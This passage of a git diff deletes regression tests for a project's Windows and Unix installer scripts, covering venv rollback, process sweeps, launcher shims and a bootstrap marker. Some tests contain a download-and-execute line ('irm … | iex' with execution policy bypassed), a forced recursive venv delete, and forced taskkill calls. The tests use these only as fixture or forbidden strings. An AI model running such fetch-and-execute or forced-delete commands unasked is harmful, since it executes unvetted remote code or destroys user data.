'powershell' is not recognized as the - name of a cmdlet, function, script file, or operable program. - -Root cause: ``Install-Uv`` spawned the astral uv installer via a hardcoded -bare ``powershell`` command. That name resolves only to *Windows PowerShell* -and only when its System32 directory is on ``PATH``. Under PowerShell 7+ -(``pwsh``) -- or any session where ``powershell`` isn't on ``PATH`` -- the -spawn dies and uv installation aborts. - -The fix resolves the PowerShell host executable (preferring the absolute path -of the running host, then ``powershell``/``pwsh`` via ``Get-Command``) and -invokes *that* instead of a bare name. These tests lock that contract at the -source level (the script only runs on Windows, so there's no runner to -execute it on Linux CI). -""" - -from pathlib import Path - -import pytest - -_INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -@pytest.fixture(scope="module") -def source() -> str: - return _INSTALL_PS1.read_text(encoding="utf-8") - - -def test_astral_uv_installer_not_spawned_via_bare_powershell(source: str): - """The exact failing literal must be gone.""" - forbidden = 'powershell -ExecutionPolicy ByPass -c "irm https://astral.sh/uv' - assert forbidden not in source, ( - "Install-Uv still spawns the astral uv installer via a bare " - "`powershell` — it must use the resolved PowerShell host exe so it " - "works under pwsh / when powershell isn't on PATH." - ) - - -def test_astral_uv_installer_invoked_via_resolved_host_variable(source: str): - """The astral uv installer line must use the call operator on a variable. - - i.e. ``& $psHostExe -ExecutionPolicy ... irm https://astral.sh/uv...`` - rather than naming a fixed executable. - """ - lines = [ln for ln in source.splitlines() if "astral.sh/uv/install.ps1 | iex" in ln] - # Exactly one invocation line carries the astral installer. - invocation = [ln for ln in lines if "irm https://astral.sh/uv/install.ps1 | iex" in ln] - assert invocation, "astral uv install invocation line not found" - for ln in invocation: - stripped = ln.strip() - assert stripped.startswith("& $"), ( - f"astral uv installer must be invoked via the call operator on a " - f"resolved host variable (`& $...`), got: {stripped!r}" - ) - - -def test_powershell_host_resolver_is_defined_and_portable(source: str): - """A host-resolver helper must exist and be PATH-independent + pwsh-aware.""" - assert "function Get-PowerShellHostExe" in source, ( - "expected a Get-PowerShellHostExe helper that resolves the host exe" - ) - # PATH-independent: derive the absolute path of the running host. - assert "Get-Process -Id $PID" in source, ( - "resolver must derive the current host's absolute path " - "(Get-Process -Id $PID), which is independent of PATH" - ) - # pwsh-aware fallback: PowerShell 7's executable is `pwsh`, not `powershell`. - assert "pwsh" in source, ( - "resolver must fall back to pwsh (PowerShell 7) when powershell is " - "unavailable" - ) diff --git a/tests/test_install_ps1_venv_process_tree.py b/tests/test_install_ps1_venv_process_tree.py deleted file mode 100644 index b51a9ccd4a..0000000000 --- a/tests/test_install_ps1_venv_process_tree.py +++ /dev/null @@ -1,182 +0,0 @@ -"""Windows installer regression for Hermes children outside the venv. - -The venv sweep deliberately selects process roots by executable path so it -does not kill unrelated Python processes. A selected Hermes process can spawn -a managed-runtime child whose executable lives outside the venv, though. The -installer must stop that whole tree before replacing the venv. -""" - -from __future__ import annotations - -import os -import shutil -import subprocess -import time -from pathlib import Path - -import psutil -import pytest - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" -POWERSHELL = next( - (candidate for candidate in ("powershell", "pwsh") if shutil.which(candidate)), - None, -) - - -def _pid_is_running(pid: int) -> bool: - return psutil.pid_exists(pid) - - -def _wait_until_stopped(pid: int, timeout: float = 10) -> bool: - deadline = time.monotonic() + timeout - while time.monotonic() < deadline: - if not _pid_is_running(pid): - return True - time.sleep(0.1) - return not _pid_is_running(pid) - - -def _find_child_pid(parent_pid: int, executable: Path, timeout: float = 10) -> int: - expected = str(executable).replace("'", "''") - query = ( - f"$expected = '{expected}'; " - f"Get-CimInstance Win32_Process -Filter 'ParentProcessId = {parent_pid}' | " - "Where-Object { $_.ExecutablePath -and " - "[string]::Equals($_.ExecutablePath, $expected, " - "[System.StringComparison]::OrdinalIgnoreCase) } | " - "Select-Object -First 1 -ExpandProperty ProcessId" - ) - deadline = time.monotonic() + timeout - while time.monotonic() < deadline: - result = subprocess.run( - [POWERSHELL, "-NoProfile", "-Command", query], - capture_output=True, - text=True, - ) - if result.returncode == 0 and result.stdout.strip(): - return int(result.stdout.strip()) - time.sleep(0.1) - raise AssertionError(f"child process did not start under PID {parent_pid}") - - -def _stop_tree(pid: int) -> None: - subprocess.run( - ["taskkill", "/PID", str(pid), "/T", "/F"], - capture_output=True, - text=True, - ) - - -def _write_cmd(path: Path, text: str) -> None: - with path.open("w", encoding="ascii", newline="\r\n") as handle: - handle.write(text) - - -@pytest.mark.live_system_guard_bypass -@pytest.mark.skipif( - os.name != "nt" or POWERSHELL is None, - reason="needs Windows and PowerShell", -) -def test_venv_sweep_stops_managed_runtime_children_but_not_unrelated_processes( - tmp_path: Path, -) -> None: - hermes_home = tmp_path / "hermes-home" - install_dir = hermes_home / "hermes-agent" - venv_scripts = install_dir / "venv" / "Scripts" - runtime_dir = hermes_home / ".hermes-runtime" / "python" / "generation-test" - unrelated_dir = tmp_path / "unrelated" - fake_bin = tmp_path / "fake-bin" - for directory in (venv_scripts, runtime_dir, unrelated_dir, fake_bin): - directory.mkdir(parents=True) - - system_cmd = Path(os.environ["SystemRoot"]) / "System32" / "cmd.exe" - venv_parent_exe = venv_scripts / "python.exe" - runtime_child_exe = runtime_dir / "python.exe" - unrelated_exe = unrelated_dir / "python.exe" - for target in (venv_parent_exe, runtime_child_exe, unrelated_exe): - shutil.copy2(system_cmd, target) - - parent_script = tmp_path / "parent.cmd" - _write_cmd( - parent_script, - f'@"{runtime_child_exe}" /d /c ping -t 127.0.0.1 ^>nul\n', - ) - unrelated_script = tmp_path / "unrelated.cmd" - _write_cmd(unrelated_script, "@ping -t 127.0.0.1 >nul\n") - - # Keep the test away from real gateway tasks and real Hermes launchers - # while still exercising the installer's actual process enumeration and - # per-PID taskkill behavior. - _write_cmd(fake_bin / "schtasks.cmd", "@exit /b 0\n") - _write_cmd( - fake_bin / "taskkill.cmd", - "@echo off\n" - 'echo %* | "%SystemRoot%\\System32\\findstr.exe" /I ' - '/C:"/IM hermes.exe" >nul\n' - "if not errorlevel 1 exit /b 0\n" - '"%SystemRoot%\\System32\\taskkill.exe" %*\n', - ) - _write_cmd( - fake_bin / "uv.cmd", - "@echo off\n" - 'if /I "%~1 %~2"=="python find" (\n' - " echo C:\\Windows\\System32\\cmd.exe\n" - " exit /b 0\n" - ")\n" - 'if /I "%~1"=="venv" (\n' - ' if not exist "%CD%\\venv\\Scripts" mkdir "%CD%\\venv\\Scripts"\n' - " exit /b 0\n" - ")\n" - "exit /b 1\n", - ) - - creation_flags = subprocess.CREATE_NO_WINDOW - parent = subprocess.Popen( - [str(venv_parent_exe), "/d", "/c", str(parent_script)], - creationflags=creation_flags, - ) - unrelated = subprocess.Popen( - [str(unrelated_exe), "/d", "/c", str(unrelated_script)], - creationflags=creation_flags, - ) - child_pid = 0 - try: - child_pid = _find_child_pid(parent.pid, runtime_child_exe) - assert _pid_is_running(child_pid) - assert _pid_is_running(unrelated.pid) - - env = os.environ | { - "OS": "Windows_NT", - "PATH": str(fake_bin) + os.pathsep + os.environ["PATH"], - } - result = subprocess.run( - [ - POWERSHELL, - "-NoProfile", - "-File", - str(INSTALL_PS1), - "-Stage", - "venv", - "-NonInteractive", - "-InstallDir", - str(install_dir), - "-HermesHome", - str(hermes_home), - ], - cwd=tmp_path, - env=env, - capture_output=True, - text=True, - ) - - assert result.returncode == 0, result.stdout + result.stderr - assert _wait_until_stopped(parent.pid) - assert _wait_until_stopped(child_pid) - assert _pid_is_running(unrelated.pid) - finally: - for pid in (child_pid, parent.pid, unrelated.pid): - if pid: - _stop_tree(pid) diff --git a/tests/test_install_ps1_venv_recreate_safety.py b/tests/test_install_ps1_venv_recreate_safety.py deleted file mode 100644 index f205be0bd5..0000000000 --- a/tests/test_install_ps1_venv_recreate_safety.py +++ /dev/null @@ -1,75 +0,0 @@ -"""Regression tests for transactional Windows venv recreation (#83149). - -The installer must never delete the live venv in place. Windows can remove -unlocked files before it reaches a locked interpreter or native extension, -leaving a half-installed venv that the next health/blocker probe cannot use. -""" - -from pathlib import Path - - -INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -def _function_body(source: str, function_name: str) -> str: - start = source.index(f"function {function_name}") - opening_brace = source.index("{", start) - depth = 0 - for index in range(opening_brace, len(source)): - if source[index] == "{": - depth += 1 - elif source[index] == "}": - depth -= 1 - if depth == 0: - return source[opening_brace : index + 1] - raise AssertionError(f"unterminated function: {function_name}") - - -def _install_venv_body() -> str: - return _function_body(INSTALL_PS1.read_text(encoding="ascii"), "Install-Venv") - - -def test_rename_failure_cannot_fall_back_to_destructive_delete() -> None: - body = _install_venv_body() - - assert "falling back to in-place delete" not in body.lower() - assert 'Remove-Item -Recurse -Force "venv"' not in body - - -def test_manual_recovery_hints_do_not_delete_live_venv() -> None: - source = INSTALL_PS1.read_text(encoding="ascii") - - assert "Remove-Item -Recurse -Force venv" not in source - assert "Do not delete venv in place" in source - - -def test_previous_venv_survives_until_replacement_is_ready() -> None: - body = _install_venv_body() - - create = body.index("& $UvCmd venv venv") - stale_cleanup = body.index('Get-ChildItem -Directory -Filter "venv.stale.*"') - assert create < stale_cleanup, ( - "stale backups must not be cleaned before uv can succeed or rollback" - ) - - -def test_recreate_restores_parked_venv_after_failure() -> None: - body = _install_venv_body() - - failure = body.index("Failed to create virtual environment") - restore = body.index( - 'Rename-Item -LiteralPath $venvBackupName -NewName "venv"' - ) - assert failure < restore - assert "rollback failed" in body.lower() - - -def test_recreate_rejects_success_without_venv_interpreter() -> None: - body = _install_venv_body() - - missing_python = body.index("$venvPythonExe") - success = body.index("Virtual environment ready") - assert "Test-Path -LiteralPath $venvPythonExe -PathType Leaf" in body[ - missing_python:success - ] - assert "throw" in body[missing_python:success] diff --git a/tests/test_install_ps1_venv_rename_abort.py b/tests/test_install_ps1_venv_rename_abort.py deleted file mode 100644 index a779841709..0000000000 --- a/tests/test_install_ps1_venv_rename_abort.py +++ /dev/null @@ -1,64 +0,0 @@ -"""Regression: Windows installer must not gut the venv on rename failure (#83149). - -When recreating an existing venv, ``Install-Venv`` renames the directory aside -first. An older fallback deleted the tree in place when rename was denied; a -partial ``Remove-Item`` could wipe most of ``site-packages`` and then fail on -one locked ``.pyd``, leaving Hermes unusable with no rollback. - -These tests lock the contract at the source level (the script only runs on -Windows, so Linux CI cannot execute the PowerShell path). -""" - -from pathlib import Path - -import pytest - -_INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -@pytest.fixture(scope="module") -def source() -> str: - return _INSTALL_PS1.read_text(encoding="utf-8") - - -def _function_body(source: str, name: str) -> str: - """Return the text of a PowerShell ``function { ... }`` block.""" - start = source.index(f"function {name}") - brace = source.index("{", start) - depth = 0 - for i in range(brace, len(source)): - if source[i] == "{": - depth += 1 - elif source[i] == "}": - depth -= 1 - if depth == 0: - return source[brace : i + 1] - raise AssertionError(f"unterminated function body for {name}") - - -def test_install_venv_aborts_when_rename_aside_fails(source: str): - """Rename failure must throw with the previous install left intact.""" - body = _function_body(source, "Install-Venv") - assert ( - "Rename-Item -LiteralPath \"venv\"" in body - or "Rename-Item -LiteralPath 'venv'" in body - ) - assert "falling back to in-place delete" not in body - throw_at = body.find("Could not move the existing venv aside") - assert throw_at != -1, "rename failure must abort with an actionable error" - assert "throw" in body[max(0, throw_at - 80) : throw_at + 40] - - -def test_install_venv_never_removes_live_venv_in_place_on_rename_fail(source: str): - """After a failed rename, Install-Venv must not Remove-Item the live venv. - - Parked ``venv.stale.*`` trees may still be deleted best-effort; the live - ``venv`` directory must only disappear via Rename-Item. - """ - body = _function_body(source, "Install-Venv") - # The only Remove-Item targeting the active tree used to be the fallback: - # Remove-Item -Recurse -Force "venv" - # That path must be gone. Stale-parking cleanup uses $staleName / filter. - assert 'Remove-Item -Recurse -Force "venv"' not in body - assert "Remove-Item -Recurse -Force 'venv'" not in body - assert "venv.stale." in body diff --git a/tests/test_install_ps1_venv_transaction_boundary.py b/tests/test_install_ps1_venv_transaction_boundary.py deleted file mode 100644 index 52f4183ec8..0000000000 --- a/tests/test_install_ps1_venv_transaction_boundary.py +++ /dev/null @@ -1,106 +0,0 @@ -"""Transaction-boundary regression for Windows venv recreation (#83149). - -Review finding on PR #83194 (egilewski): the rollback source (the parked -previous venv) was deleted as soon as ``Install-Venv`` saw a working -interpreter in the replacement — but ``Install-Dependencies`` is a separate, -later stage (a separate *process* under the stage-per-process bootstrap) and -every dependency tier or the baseline-import gate can still fail after that -point. Deleting the backup early re-creates exactly the availability failure -the transactional recreate exists to prevent. - -The contract locked here: - -* ``Install-Venv`` records the parked backup in ``venv.pending-backup`` - instead of deleting it, and its stale-tree sweep excludes that backup. -* ``Install-Dependencies`` restores the previous venv on failure - (``Restore-VenvBackup``) and commits the cleanup only after the - baseline-import gate passes (``Complete-VenvTransaction``). - -The script only runs on Windows, so Linux CI locks the contract at the -source level, same approach as tests/test_install_ps1_venv_recreate_safety.py. -""" - -from pathlib import Path - -INSTALL_PS1 = Path(__file__).resolve().parents[1] / "scripts" / "install.ps1" - - -def _function_body(source: str, function_name: str) -> str: - start = source.index(f"function {function_name}") - opening_brace = source.index("{", start) - depth = 0 - for index in range(opening_brace, len(source)): - if source[index] == "{": - depth += 1 - elif source[index] == "}": - depth -= 1 - if depth == 0: - return source[opening_brace : index + 1] - raise AssertionError(f"unterminated function: {function_name}") - - -def _source() -> str: - return INSTALL_PS1.read_text(encoding="ascii") - - -def test_install_venv_does_not_delete_backup_before_dependency_stage() -> None: - """The parked previous venv must survive Install-Venv's success path.""" - body = _function_body(_source(), "Install-Venv") - - # The success path records the rollback source instead of deleting it. - assert "venv.pending-backup" in body - # The only backup deletion allowed inside Install-Venv is the *rollback* - # rename in the catch block; a Remove-Item of the backup must not appear. - assert "Remove-Item -LiteralPath $venvBackupName" not in body - - -def test_install_venv_stale_sweep_excludes_current_backup() -> None: - """The venv.stale.* sweep must not delete this run's rollback source.""" - body = _function_body(_source(), "Install-Venv") - - sweep_at = body.index('Get-ChildItem -Directory -Filter "venv.stale.*"') - window = body[sweep_at : sweep_at + 400] - assert "$_.Name -ne $venvBackupName" in window, ( - "the stale-tree sweep must exclude the backup parked by this run" - ) - - -def test_install_dependencies_restores_backup_on_failure() -> None: - """A failed dependency tier or import gate must restore the parked venv.""" - body = _function_body(_source(), "Install-Dependencies") - - assert "Restore-VenvBackup" in body - catch_at = body.index("Restore-VenvBackup") - assert "throw" in body[catch_at : catch_at + 400], ( - "rollback must rethrow the original failure after restoring" - ) - - -def test_install_dependencies_commits_only_after_import_gate() -> None: - """Backup cleanup must come after the baseline-import verification.""" - body = _function_body(_source(), "Install-Dependencies") - - import_gate = body.index("Baseline imports verified in venv") - commit = body.index("Complete-VenvTransaction") - assert import_gate < commit, ( - "the venv transaction must commit only after imports prove the " - "replacement usable" - ) - - -def test_restore_helper_parks_failed_replacement_and_restores_previous() -> None: - body = _function_body(_source(), "Restore-VenvBackup") - - park = body.index("venv.failed.") - restore = body.index('-NewName "venv"') - assert park < restore, ( - "the failed replacement must be parked before the previous venv is " - "renamed back into place" - ) - - -def test_commit_helper_deletes_backup_and_clears_marker() -> None: - body = _function_body(_source(), "Complete-VenvTransaction") - - assert "Remove-Item" in body - assert "venv.pending-backup" in body diff --git a/tests/test_install_ps1_web_server_syntax_probe.py b/tests/test_install_ps1_web_server_syntax_probe.py deleted file mode 100644 index 14f99f725c..0000000000 --- a/tests/test_install_ps1_web_server_syntax_probe.py +++ /dev/null @@ -1,49 +0,0 @@ -"""Regression: install.ps1 must syntax-check the dashboard backend source. - -Issue #59004 reported a fresh Windows desktop install crashing on launch -because ``hermes_cli/web_server.py`` inside the installed checkout still -contained merge-conflict markers. Import-only dependency probes (fastapi / -uvicorn) do not catch that: the packages can be present while the backend -source itself is unparsable. - -This test is source-level because Linux CI cannot execute the PowerShell -installer. It locks the contract that install.ps1 runs ``py_compile`` against -``hermes_cli/web_server.py`` and fails the stage when that syntax probe fails. -""" - -from __future__ import annotations - -import re -from pathlib import Path - - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -def test_install_ps1_compiles_web_server_source_after_web_deps_probe() -> None: - text = INSTALL_PS1.read_text(encoding="utf-8") - - probe = re.search( - r'import fastapi, uvicorn[\s\S]{0,1200}?-m py_compile "\$InstallDir\\hermes_cli\\web_server\.py"', - text, - ) - assert probe is not None, ( - "install.ps1 must syntax-check hermes_cli/web_server.py after the " - "dashboard dependency probe so a fresh desktop install fails early on " - "merge-conflict markers or other SyntaxErrors." - ) - - -def test_install_ps1_fails_stage_when_web_server_syntax_probe_fails() -> None: - text = INSTALL_PS1.read_text(encoding="utf-8") - - assert "if ($LASTEXITCODE -eq 0) { $webServerSyntaxOk = $true }" in text - assert "if (-not $webServerSyntaxOk) {" in text - assert ( - 'throw "dashboard backend source failed syntax check: hermes_cli/web_server.py"' - in text - ), ( - "install.ps1 must fail the install stage when hermes_cli/web_server.py " - "does not compile, instead of writing a broken desktop/backend install." - ) diff --git a/tests/test_install_scripts_computer_use.py b/tests/test_install_scripts_computer_use.py deleted file mode 100644 index e213a2653d..0000000000 --- a/tests/test_install_scripts_computer_use.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Regression tests: installers provision cua-driver (Computer Use). - -Policy: choosing Computer Use should be a config flip, not a surprise -multi-minute binary fetch. The installers pre-install cua-driver -(best-effort, skippable), and the dashboard toggle auto-installs when the -binary is still missing (see test_web_routers_tools_install_on_enable.py). -""" - -from pathlib import Path - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" -INSTALL_PS1 = REPO_ROOT / "scripts" / "install.ps1" - - -class TestInstallSh: - def test_has_skip_flag(self) -> None: - text = INSTALL_SH.read_text() - assert "--skip-computer-use)" in text - assert "SKIP_COMPUTER_USE=true" in text - assert "SKIP_COMPUTER_USE=false" in text # default off - assert "--skip-computer-use Skip the cua-driver" in text - - def test_install_function_wired_into_main_and_stage(self) -> None: - text = INSTALL_SH.read_text() - assert "install_computer_use_driver() {" in text - # main() flow and the node-deps stage both run it. - assert text.count("install_computer_use_driver\n") >= 2 - - def test_install_is_timeboxed_above_upstream_lock_window(self) -> None: - """The upstream installer serializes on a lock with a 600s stale - window; a ceiling below that reintroduces the self-perpetuating - wedge (#58762). Must stay >= 660.""" - text = INSTALL_SH.read_text() - assert "run_with_timeout 660 /bin/bash -c" in text - - def test_install_is_best_effort(self) -> None: - text = INSTALL_SH.read_text() - assert "Computer Use driver install failed" in text - assert "hermes computer-use install" in text - - def test_skips_unwritable_applications_dir(self) -> None: - """Non-admin macOS accounts can't receive CuaDriver.app (#47865 - class) — skip cleanly instead of failing every install.""" - text = INSTALL_SH.read_text() - assert '[ -d /Applications ] && [ ! -w /Applications ]' in text - - -class TestInstallPs1: - def test_has_skip_switch(self) -> None: - text = INSTALL_PS1.read_text() - assert "[switch]$SkipComputerUse," in text - assert "if ($SkipComputerUse)" in text - - def test_install_function_wired_into_node_deps(self) -> None: - text = INSTALL_PS1.read_text() - assert "function Install-CuaDriver {" in text - assert " Install-CuaDriver\n" in text - - def test_install_is_timeboxed_above_upstream_lock_window(self) -> None: - text = INSTALL_PS1.read_text() - assert "Wait-Job $job -Timeout 660" in text - - def test_install_is_best_effort(self) -> None: - text = INSTALL_PS1.read_text() - assert "Computer Use driver install timed out" in text - assert "hermes computer-use install" in text - - def test_install_rechecks_runtime_contract_before_success(self) -> None: - text = INSTALL_PS1.read_text() - assert "$installedCuaDriver = Get-Command cua-driver" in text - assert ( - "Test-CuaDriverRuntimeContract -DriverPath $installedCuaDriver.Source" - in text - ) - assert "did not produce a compatible runtime" in text diff --git a/tests/test_install_sh_acp_launcher.py b/tests/test_install_sh_acp_launcher.py deleted file mode 100644 index 27cb4c8f1a..0000000000 --- a/tests/test_install_sh_acp_launcher.py +++ /dev/null @@ -1,214 +0,0 @@ -"""`setup_path()` must also install a `hermes-acp` launcher. - -ACP hosts (Zed, JetBrains, Buzz Desktop) spawn the agent by resolving a command -name against the login-shell PATH. The `hermes-acp` console script generated by -the packaging metadata lives inside the install's venv, which is not on that -PATH, so those hosts report Hermes as not installed. `setup_path()` therefore -writes a `hermes-acp` launcher next to the `hermes` one. - -These tests drive the real block out of `scripts/install.sh` rather than -asserting on a copy of it, so the shim cannot drift away from the test. -""" - -import re -import stat -import subprocess -from pathlib import Path -from unittest.mock import patch - -INSTALL_SH = Path(__file__).resolve().parent.parent / "scripts" / "install.sh" - -ACP_BLOCK = re.compile( - r'( rm -f "\$command_link_dir/hermes-acp".*?' - r'log_success "Installed hermes-acp launcher[^\n]*\n)', - re.S, -) - - -def _extract_acp_shim_block() -> str: - match = ACP_BLOCK.search(INSTALL_SH.read_text(encoding="utf-8")) - assert match, ( - "could not locate the hermes-acp launcher block in scripts/install.sh — " - "if it was renamed, update this test with it" - ) - return match.group(1) - - -def _run_block(tmp_path: Path, use_venv: str) -> Path: - """Execute the extracted block with the env vars setup_path() sets.""" - command_link_dir = tmp_path / "local_bin" - command_link_dir.mkdir() - hermes_bin = tmp_path / "venv" / "bin" / "python" - hermes_bin.parent.mkdir(parents=True) - hermes_bin.write_text("#!/bin/sh\n", encoding="utf-8") - entrypoint = tmp_path / "hermes" - entrypoint.write_text("#!/bin/sh\n", encoding="utf-8") - - script = ( - "set -e\n" - f"HERMES_BIN={hermes_bin}\n" - f"HERMES_ENTRYPOINT={entrypoint}\n" - f"command_link_dir={command_link_dir}\n" - f"command_link_display_dir={command_link_dir}\n" - f"USE_VENV={use_venv}\n" - "log_success(){ :; }\n" + _extract_acp_shim_block() - ) - result = subprocess.run( - ["bash", "-c", script], - capture_output=True, - text=True, - cwd=tmp_path, - ) - assert result.returncode == 0, ( - f"acp shim block failed:\nstdout={result.stdout}\nstderr={result.stderr}" - ) - return command_link_dir / "hermes-acp" - - -def test_venv_install_writes_executable_acp_launcher(tmp_path): - shim = _run_block(tmp_path, "true") - assert shim.is_file() - assert shim.stat().st_mode & stat.S_IXUSR, "launcher must be user-executable" - - text = shim.read_text(encoding="utf-8") - assert "unset PYTHONPATH" in text - assert "unset PYTHONHOME" in text - # The launcher must dispatch to the ACP subcommand, otherwise the host gets - # an interactive CLI on stdio and the handshake never completes. - assert re.search(r'exec .*\bacp\b', text), text - - -def test_non_venv_install_writes_acp_launcher(tmp_path): - shim = _run_block(tmp_path, "false") - text = shim.read_text(encoding="utf-8") - assert re.search(r'exec .*\bacp\b', text), text - - -def test_acp_launcher_does_not_follow_a_symlink_into_the_venv(tmp_path): - """Guards the #21454 failure mode for the new launcher. - - An older install could leave `hermes-acp` as a symlink to the venv console - script. Without the `rm -f`, `cat >` follows it and overwrites that script - with a shim that then execs itself. - """ - command_link_dir = tmp_path / "local_bin" - command_link_dir.mkdir() - console_script = tmp_path / "venv" / "bin" / "hermes-acp" - console_script.parent.mkdir(parents=True) - marker = "#!/usr/bin/env python\n# real console script\n" - console_script.write_text(marker, encoding="utf-8") - - shim_path = command_link_dir / "hermes-acp" - shim_path.symlink_to(console_script) - assert shim_path.is_symlink() - - hermes_bin = tmp_path / "venv" / "bin" / "python" - hermes_bin.write_text("#!/bin/sh\n", encoding="utf-8") - entrypoint = tmp_path / "hermes" - entrypoint.write_text("#!/bin/sh\n", encoding="utf-8") - - script = ( - "set -e\n" - f"HERMES_BIN={hermes_bin}\n" - f"HERMES_ENTRYPOINT={entrypoint}\n" - f"command_link_dir={command_link_dir}\n" - f"command_link_display_dir={command_link_dir}\n" - "USE_VENV=true\n" - "log_success(){ :; }\n" + _extract_acp_shim_block() - ) - result = subprocess.run( - ["bash", "-c", script], capture_output=True, text=True, cwd=tmp_path - ) - assert result.returncode == 0, result.stderr - - assert console_script.read_text(encoding="utf-8") == marker, ( - "venv/bin/hermes-acp was overwritten — symlink-stomp regression (#21454)" - ) - assert not shim_path.is_symlink(), ( - "command_link_dir/hermes-acp must be replaced with a regular file" - ) - - -# --------------------------------------------------------------------------- -# hermes-agent launcher regression (#74819) -# --------------------------------------------------------------------------- - -HERMES_AGENT_BLOCK = re.compile( - r'(rm -f "\$command_link_dir/hermes-agent".*?' - r'log_success "Installed hermes-agent launcher[^\n]*\n)', - re.S, -) - - -def _extract_hermes_agent_shim_block() -> str: - match = HERMES_AGENT_BLOCK.search(INSTALL_SH.read_text(encoding="utf-8")) - assert match, ( - "could not locate the hermes-agent launcher block in scripts/install.sh — " - "if it was renamed, update this test with it" - ) - return match.group(1) - - -def _run_hermes_agent_block(tmp_path: Path, use_venv: str) -> Path | None: - """Execute the extracted hermes-agent block with the env vars setup_path() sets.""" - if use_venv == "false": - # --no-venv: hermes-agent is NOT installed by this block (handled - # elsewhere), so there's nothing to test here. - return None - - command_link_dir = tmp_path / "local_bin" - command_link_dir.mkdir() - hermes_bin = tmp_path / "venv" / "bin" / "python" - hermes_bin.parent.mkdir(parents=True) - hermes_bin.write_text("#!/bin/sh\n", encoding="utf-8") - install_dir = tmp_path / "install" - install_dir.mkdir() - - script = ( - "set -e\n" - f"HERMES_BIN={hermes_bin}\n" - f"INSTALL_DIR={install_dir}\n" - f"command_link_dir={command_link_dir}\n" - f"command_link_display_dir={command_link_dir}\n" - f"USE_VENV={use_venv}\n" - "log_success(){ :; }\n" + _extract_hermes_agent_shim_block() - ) - result = subprocess.run( - ["bash", "-c", script], - capture_output=True, - text=True, - cwd=tmp_path, - ) - assert result.returncode == 0, ( - f"hermes-agent shim block failed:\nstdout={result.stdout}\nstderr={result.stderr}" - ) - return command_link_dir / "hermes-agent" - - -def test_venv_install_writes_executable_hermes_agent_launcher(tmp_path): - """venv install must write a user-executable hermes-agent launcher.""" - shim = _run_hermes_agent_block(tmp_path, "true") - assert shim is not None - assert shim.is_file() - assert shim.stat().st_mode & stat.S_IXUSR, "launcher must be user-executable" - - text = shim.read_text(encoding="utf-8") - assert "unset PYTHONPATH" in text - assert "unset PYTHONHOME" in text - assert "run_agent.py" in text, "hermes-agent must dispatch to run_agent.py" - - -def test_hermes_agent_launcher_cleanup_on_uninstall(tmp_path): - """uninstall.remove_wrapper_script() must remove hermes-agent alongside - hermes and hermes-acp.""" - from hermes_cli.uninstall import remove_wrapper_script - - # Simulate a hermes-agent wrapper in the user-local location - local_shim = tmp_path / ".local" / "bin" / "hermes-agent" - local_shim.parent.mkdir(parents=True) - local_shim.write_text("#!/usr/bin/env bash\nexec hermes-agent\n", encoding="utf-8") - - with patch.object(Path, "home", return_value=tmp_path): - removed = remove_wrapper_script() - - assert local_shim in removed, "local hermes-agent wrapper must be removed" diff --git a/tests/test_install_sh_bootstrap_marker.py b/tests/test_install_sh_bootstrap_marker.py deleted file mode 100644 index 6eab5d6599..0000000000 --- a/tests/test_install_sh_bootstrap_marker.py +++ /dev/null @@ -1,109 +0,0 @@ -"""install.sh must stamp the desktop bootstrap-complete marker. - -The marker at ``$INSTALL_DIR/.hermes-bootstrap-complete`` is what the desktop -app (apps/desktop/electron/main.ts) and the macOS launcher fast path -(apps/bootstrap-installer) use to decide "a real install finished here." -install.sh never wrote it, so a CLI-installed Mac/Linux box re-ran first-run -bootstrap on every desktop launch (#60721). - -These exercise the real shell function against a temp checkout rather than -asserting on the text of install.sh. -""" - -import json -import subprocess -from pathlib import Path - -import pytest - -REPO_ROOT = Path(__file__).resolve().parent.parent -INSTALL_SH = REPO_ROOT / "scripts" / "install.sh" - - -def run_write_marker(install_dir, *, commit="", branch="main"): - """Source install.sh and invoke write_bootstrap_marker in isolation. - - install.sh guards its own entrypoint behind MANIFEST_MODE/STAGE_NAME/main, - so sourcing it with --help-less argv defines the functions without running - an install. - """ - script = f""" -set -e -INSTALL_DIR={install_dir!s} -INSTALL_COMMIT={commit!r} -BRANCH={branch!r} -# Pull in the function definitions without triggering an install. -eval "$(sed -n '/^write_bootstrap_marker()/,/^}}/p' {INSTALL_SH!s})" -log_warn() {{ echo "WARN: $*" >&2; }} -write_bootstrap_marker -""" - return subprocess.run( - ["bash", "-c", script], capture_output=True, text=True, timeout=30 - ) - - -def make_checkout(tmp_path): - install_dir = tmp_path / "hermes-agent" - install_dir.mkdir() - subprocess.run(["git", "init", "-q"], cwd=install_dir, check=True) - subprocess.run( - ["git", "-c", "user.email=t@t", "-c", "user.name=t", "commit", "-q", - "--allow-empty", "-m", "init"], - cwd=install_dir, - check=True, - ) - return install_dir - - -def test_marker_matches_the_schema_the_desktop_validates(tmp_path): - """Desktop's isBootstrapComplete() needs schemaVersion 1 + a >=7 char commit.""" - install_dir = make_checkout(tmp_path) - - result = run_write_marker(install_dir) - assert result.returncode == 0, result.stderr - - marker = install_dir / ".hermes-bootstrap-complete" - assert marker.is_file(), "install.sh must stamp the bootstrap marker" - - payload = json.loads(marker.read_text()) - assert payload["schemaVersion"] == 1 - assert len(payload["pinnedCommit"]) >= 7 - assert payload["pinnedBranch"] == "main" - assert payload["completedAt"].endswith("Z") - - -def test_marker_publish_leaves_no_temp_sibling(tmp_path): - """The launcher predicate is existence-only, so the write must be atomic.""" - install_dir = make_checkout(tmp_path) - - run_write_marker(install_dir) - - assert (install_dir / ".hermes-bootstrap-complete").is_file() - assert not (install_dir / ".hermes-bootstrap-complete.tmp").exists() - - -def test_explicit_commit_pin_wins_over_head(tmp_path): - install_dir = make_checkout(tmp_path) - pinned = "abcdef1234567890abcdef1234567890abcdef12" - - run_write_marker(install_dir, commit=pinned) - - payload = json.loads((install_dir / ".hermes-bootstrap-complete").read_text()) - assert payload["pinnedCommit"] == pinned - - -def test_no_marker_written_when_head_cannot_be_resolved(tmp_path): - """A malformed marker is worse than none: absent means a clean re-bootstrap.""" - install_dir = tmp_path / 